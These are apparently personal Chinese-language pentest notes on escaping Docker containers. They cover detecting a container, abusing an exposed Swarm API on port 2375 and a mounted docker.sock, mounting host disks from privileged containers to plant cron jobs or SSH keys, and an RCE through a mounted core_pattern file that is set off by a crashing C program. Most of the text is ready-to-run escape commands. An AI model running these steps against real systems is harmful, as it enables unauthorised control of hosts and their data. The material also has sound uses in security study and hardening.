-- 基础 --
查看是否在Docker内
ls / -a
查看根目录下是否存在 .dockerenv 文件夹
原理: Docker容器内部 默认会在根目录 自动创建 隐藏文件.dockerenv
cat /proc/1/cgroup
查看中是否含有docker标识
原理: CGroup(控制组)用于隔离进程资源, 容器内第一个进程的cgroup通常会包含docker标识
env
查看环境变量, 是否含有docker标识(只能用作辅助判断)
原理: Docker在启动容器时, 可能会默认添加于容器相关的环境变量, 其中会包含docker标识
- 使用工具: msf的
checkcontainer
模块
docker指令
- -H指定连接地址: 若未指定-H的值, 默认为
unix:///var/run/docker.sock
unix:// 指定本地套接字, 如 unix:///var/run/docker.sock
tcp:// 使用tcp连接, 通常是连接swam远程api, 如 tcp://xxx.xxx.xxx.xxx:2375
ssh:// 通过ssh管道连接docker, 如 ssh://xxx.xxx.xxx.xxx:22
fd:// 用于systemd启动的守护进程, 如fd:///lib/systemd/system/docker.service
- docker指令控制容器:
创建新容器 并挂载宿主机目录(需联网下载镜像): 创建后会直接进入交互式页面
docker -H <target> run -it -v /:/mnt alpine /bin/sh
注: 可加上--privileged
来创建特权容器, 可将alpine镜像换为其它镜像(还可用临时镜像源)
查看容器: docker -H <target> ps
(加上-a
可以看见未运行的容器)
开启容器: docker -H <target> start <容器id>
进入容器的交互界面: docker -H <target> -it <容器id> /bin/bash
使容器执行某指令: docker -H <target> <容器id> <指令>
cdk工具
- https://github.com/cdk-team/CDK/
-- 配置导致的逃逸 --
SWAM API未授权逃逸
- 前提: 开启了
docker swarm
的容器管理api(默认绑定2375端口), 并可以访问到
- 原理:
docker swarm
是用于集群管理和编排的工具, 为此 其提供一个api用于管理容器
若因配置不当导致攻击者可以在公网上(或通过ssrf)访问与使用, 则可以获取敏感信息/操控容器
从而可以挂载宿主机文件, 或者通过特权模式启动容器
- 信息泄露:
运行的容器:curl http://taret:2375/containers/json
或docker -H target:2375 ps
容器信息:curl http://taret:2375/info
或docker -H target:2375 info
版本信息:curl http://taret:2375/version
或docker -H target:2375 version
- 利用(手动): 将docker指令的
-H
指定为target:2375
执行控制容器操作
- 利用(cdk):
./cdk run docker-api-pwn http://target:2375 "<命令>"
(不建议, 不如手动方便)
Docker Socket逃逸
- 前提: 将宿主机的
/var/run/docker.sock
挂载到容器内部
- 原理: docker.sock文件是 Docker守护进程(dockerd)与客户端通信的接口, docker命令默认就是通过该文件(
-H
选项的默认值为unix:///var/run/docker.sock
)操控本机的dockerd服务
- 利用(手动): 将docker指令的
-H
指定为unix://文件docker.sock的路径
执行控制容器操作
- 利用(cdk):
./cdk run docker-sock-pwn <sock_path> <shell_cmd>
(不建议, 不如手动方便)
./cdk run docker-sock-check <sock-path>
特权模式逃逸
- 前提: docker以特权模式运行
查看: 通过cat /proc/self/status | grep CapEff
查看是否为特权模式(值为0000003fffffffff或0000001fffffffff)
如何开启:
- docker run创建容器时, 可添加
--privileged
参数,
- docker-compose.yml中加入
privileged: true
- 原理: 会赋予创建的容器 接近宿主机的权限, 所以可通过 挂载宿主机文件目录 来逃逸
- 利用(手动):
通过cat /proc/self/status | grep CapEff
查看是否为特权模式(值为0000003fffffffff或0000001fffffffff则是)
fdisk -l
查看系统中所有的磁盘设备的分区信息, 显示的磁盘即为我们的宿主机
使用mount 磁盘设备名 容器内路径
, 来将宿主机挂载到容器中, 即可访问到宿主机的文件
随后通过写入定时任务\写入ssh公钥来获取宿主机的shell
- 利用(cdk):
./cdk run mount-disk
Procfs危险挂载
- 前提: 将宿主机的
/proc/sys/kernel/core_pattern
文件挂载到了容器内部
- 原理:
/proc/sys/kernel/core_pattern文件负责 进程崩溃时 的内存数据转储,
当进程崩溃时, linux内核会根据该文件的配置执行操作,
而当该文件的第一个字符是管道符|
时, 文件后续内容会被当作系统命令进行执行,
当挂载了宿主机的该文件时, 就可以在宿主机进程崩溃时, 操控宿主机进行RCE
想造成宿主机进程崩溃, 可以直接让docker容器内的程序崩溃
- 利用(手动):
find / -name core_pattern 2>/dev/null
查找是否存在挂载宿主机procfs
(若结果有两个 可能就是存在挂载)
- 用
cat /proc/mounts | awk -F ',' '{for(i=1;i<=NF;i++) print $i}' | grep workdir
查看容器在 宿主机上的绝对路径, 一般为/var/lib/docker/overlay2/一长串数字/work
把work改为merged 即为宿主机下 docker容器的根目录(可以通过这种方式访问容器文件)
- 创建恶意RCE脚本, 给予执行权限
chmod +x 脚本路径
并将脚本路径拼接到/var/lib/docker/overlay2/一长串数字/merged
然后将新路径写入core_pattern文件 (新路径可使docker程序崩溃后宿主机可访问到脚本)
echo -e "|/var/lib/docker/overlay2/一长串数字/merged/脚本路径 \rcore " > 文件core_pattern的路径
- 创建使docker内程序崩溃的脚本, 并执行
- docker内程序崩溃脚本
gcc编译执行: apt-get update -y && apt-get install vim gcc -y
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
- 利用(cdk):
./cdk run mount-procfs <挂载的proc文件夹位置> "<命令>"